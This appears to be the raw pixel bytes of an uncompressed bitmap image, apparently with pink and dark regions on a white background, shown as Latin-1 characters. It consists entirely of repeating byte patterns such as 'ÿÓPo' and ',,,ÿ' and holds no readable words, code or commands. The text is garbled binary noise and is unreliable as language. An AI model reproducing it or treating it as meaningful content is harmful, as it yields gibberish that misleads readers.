ÿÿ”””ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÍNlÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿüüüÿ\\\ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ‘7LÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçççÿ:::ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ4ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¹¹¹ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¨@XÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿzzzÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ$$$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿN)ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿõõõÿKKKÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿºGbÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÔÔÔÿ111ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ'''ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿg'6ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ›››ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÇLiÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿýýýÿcccÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ1DÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿéééÿ<<<ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ&ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ½½½ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿš:QÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ!!!ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ>!ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿøøøÿQQQÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,